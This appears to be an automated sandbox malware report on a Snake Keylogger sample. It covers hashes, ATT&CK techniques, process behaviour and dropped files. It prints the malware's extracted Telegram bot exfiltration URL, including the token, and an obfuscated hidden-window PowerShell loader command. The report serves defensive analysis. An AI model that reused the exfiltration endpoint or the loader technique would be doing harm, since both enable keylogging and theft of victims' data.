snakekeylogger | 134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19

Analysis

max time kernel
93s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
15-11-2024 11:44

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General

Target

2.exe
Size

682KB
MD5

6e62c2f3acd34a6cf4eee9f493ceb3a1
SHA1

dc025bd9290f738c1870f7d9861da95af549dfd0
SHA256

134be2720dc277e7be61620837bfd47e02892d9641294cbe4457d7bae4510a19
SHA512

20beb4e7572a1026603399676dc55573105f2359d418aa504f73a8486337b1843ab9ea8db6ccd3bd11b05ff2686b3cefdadbbef321d7da546da9a733b7c626e9
SSDEEP

12288:G0mnA1zxuAL9BFGFx6Dpu/ay+xSnliR6r9t3DSDb4NF:uA1zxumVoIDIikcu3ewb

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7610532139:AAFiI3HHwFD6pWziyPu3lWJbRKPQtz0nD2c/sendMessage?chat_id=6680692809

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/4920-65-0x0000000000C00000-0x0000000001E54000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2796	powershell.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
32	4920	msiexec.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4920	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2796	powershell.exe
4920	msiexec.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\propangas.lem	2.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4940	4920	WerFault.exe	95

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2796	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeIncreaseQuotaPrivilege	2796	powershell.exe
Token: SeSecurityPrivilege	2796	powershell.exe
Token: SeTakeOwnershipPrivilege	2796	powershell.exe
Token: SeLoadDriverPrivilege	2796	powershell.exe
Token: SeSystemProfilePrivilege	2796	powershell.exe
Token: SeSystemtimePrivilege	2796	powershell.exe
Token: SeProfSingleProcessPrivilege	2796	powershell.exe
Token: SeIncBasePriorityPrivilege	2796	powershell.exe
Token: SeCreatePagefilePrivilege	2796	powershell.exe
Token: SeBackupPrivilege	2796	powershell.exe
Token: SeRestorePrivilege	2796	powershell.exe
Token: SeShutdownPrivilege	2796	powershell.exe
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeSystemEnvironmentPrivilege	2796	powershell.exe
Token: SeRemoteShutdownPrivilege	2796	powershell.exe
Token: SeUndockPrivilege	2796	powershell.exe
Token: SeManageVolumePrivilege	2796	powershell.exe
Token: 33	2796	powershell.exe
Token: 34	2796	powershell.exe
Token: 35	2796	powershell.exe
Token: 36	2796	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3704 wrote to memory of 2796	3704	2.exe	85
PID 3704 wrote to memory of 2796	3704	2.exe	85
PID 3704 wrote to memory of 2796	3704	2.exe	85
PID 2796 wrote to memory of 4920	2796	powershell.exe	95
PID 2796 wrote to memory of 4920	2796	powershell.exe	95
PID 2796 wrote to memory of 4920	2796	powershell.exe	95
PID 2796 wrote to memory of 4920	2796	powershell.exe	95

C:\Users\Admin\AppData\Local\Temp\2.exe
"C:\Users\Admin\AppData\Local\Temp\2.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3704
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Binomialfordelt=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Chromonemal.Opg';$Archibuteo=$Binomialfordelt.SubString(54418,3);.$Archibuteo($Binomialfordelt)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:4920
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4920 -s 1528
      4⤵
      Program crash
      PID:4940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4920 -ip 4920
1⤵
PID:608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Chromonemal.Opg

Filesize
53KB

MD5
65171ebd8fd8c699770edee943ff09f1

SHA1
dc17dd3e384f06c03015b136cc068c2973673981

SHA256
73a4a59e35863571281154449961ab2a81ff47c3baa341d7de100287a0043274

SHA512
f0f1c8a7dfa94feb7fc7e170ad4abfde9a4bc7d7af1a5c4cd763ca93484256a6a37fd5fb515345987af8daaedd812cfb3e0f5944ccdb0ee4983a0a71da53a144

Download Submit
C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Stikprvestandardafvigelsens.Lgn

Filesize
330KB

MD5
b861cf3da394f7f9973e55ad07eedc61

SHA1
08f5a734f3cf625e52abf462216fba82be10a430

SHA256
222afe763d83a4f8e09f820bf1dc20b8aef212ec7503e07d60941f4661f4fc9b

SHA512
41203f0af9147cf432c4ed85670f2f2d422cc49cbf67720bf69de97e16697f813c40cbbbf50500745eedd925aca2c3411007303d160b3e52b4fe71c2084f471d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o1iu3b1i.1g0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2796-43-0x0000000007740000-0x000000000775E000-memory.dmp

Filesize
120KB

Download
memory/2796-64-0x0000000073A00000-0x00000000741B0000-memory.dmp

Filesize
7.7MB

Download
memory/2796-12-0x0000000005C80000-0x0000000005CE6000-memory.dmp

Filesize
408KB

Download
memory/2796-11-0x0000000005C10000-0x0000000005C76000-memory.dmp

Filesize
408KB

Download
memory/2796-8-0x0000000073A00000-0x00000000741B0000-memory.dmp

Filesize
7.7MB

Download
memory/2796-22-0x0000000005CF0000-0x0000000006044000-memory.dmp

Filesize
3.3MB

Download
memory/2796-23-0x00000000062C0000-0x00000000062DE000-memory.dmp

Filesize
120KB

Download
memory/2796-24-0x0000000006300000-0x000000000634C000-memory.dmp

Filesize
304KB

Download
memory/2796-44-0x0000000073A00000-0x00000000741B0000-memory.dmp

Filesize
7.7MB

Download
memory/2796-26-0x00000000067B0000-0x00000000067CA000-memory.dmp

Filesize
104KB

Download
memory/2796-27-0x0000000006820000-0x0000000006842000-memory.dmp

Filesize
136KB

Download
memory/2796-28-0x0000000007920000-0x0000000007EC4000-memory.dmp

Filesize
5.6MB

Download
memory/2796-9-0x00000000053B0000-0x00000000059D8000-memory.dmp

Filesize
6.2MB

Download
memory/2796-30-0x0000000008550000-0x0000000008BCA000-memory.dmp

Filesize
6.5MB

Download
memory/2796-33-0x0000000070440000-0x0000000070794000-memory.dmp

Filesize
3.3MB

Download
memory/2796-32-0x000000006FE90000-0x000000006FEDC000-memory.dmp

Filesize
304KB

Download
memory/2796-31-0x0000000007700000-0x0000000007732000-memory.dmp

Filesize
200KB

Download
memory/2796-6-0x0000000073A0E000-0x0000000073A0F000-memory.dmp

Filesize
4KB

Download
memory/2796-25-0x0000000007280000-0x0000000007316000-memory.dmp

Filesize
600KB

Download
memory/2796-10-0x0000000005310000-0x0000000005332000-memory.dmp

Filesize
136KB

Download
memory/2796-51-0x0000000073A00000-0x00000000741B0000-memory.dmp

Filesize
7.7MB

Download
memory/2796-47-0x0000000007870000-0x000000000787A000-memory.dmp

Filesize
40KB

Download
memory/2796-48-0x00000000078B0000-0x00000000078DA000-memory.dmp

Filesize
168KB

Download
memory/2796-50-0x0000000073A00000-0x00000000741B0000-memory.dmp

Filesize
7.7MB

Download
memory/2796-49-0x00000000078E0000-0x0000000007904000-memory.dmp

Filesize
144KB

Download
memory/2796-46-0x0000000073A00000-0x00000000741B0000-memory.dmp

Filesize
7.7MB

Download
memory/2796-53-0x0000000073A0E000-0x0000000073A0F000-memory.dmp

Filesize
4KB

Download
memory/2796-54-0x0000000073A00000-0x00000000741B0000-memory.dmp

Filesize
7.7MB

Download
memory/2796-55-0x0000000073A00000-0x00000000741B0000-memory.dmp

Filesize
7.7MB

Download
memory/2796-7-0x0000000004D40000-0x0000000004D76000-memory.dmp

Filesize
216KB

Download
memory/2796-57-0x0000000073A00000-0x00000000741B0000-memory.dmp

Filesize
7.7MB

Download
memory/2796-58-0x0000000073A00000-0x00000000741B0000-memory.dmp

Filesize
7.7MB

Download
memory/2796-59-0x0000000008BD0000-0x000000000D6DE000-memory.dmp

Filesize
75.1MB

Download
memory/2796-60-0x0000000073A00000-0x00000000741B0000-memory.dmp

Filesize
7.7MB

Download
memory/2796-61-0x0000000073A00000-0x00000000741B0000-memory.dmp

Filesize
7.7MB

Download
memory/2796-62-0x0000000073A00000-0x00000000741B0000-memory.dmp

Filesize
7.7MB

Download
memory/2796-45-0x0000000007770000-0x0000000007813000-memory.dmp

Filesize
652KB

Download
memory/4920-65-0x0000000000C00000-0x0000000001E54000-memory.dmp

Filesize
18.3MB

Download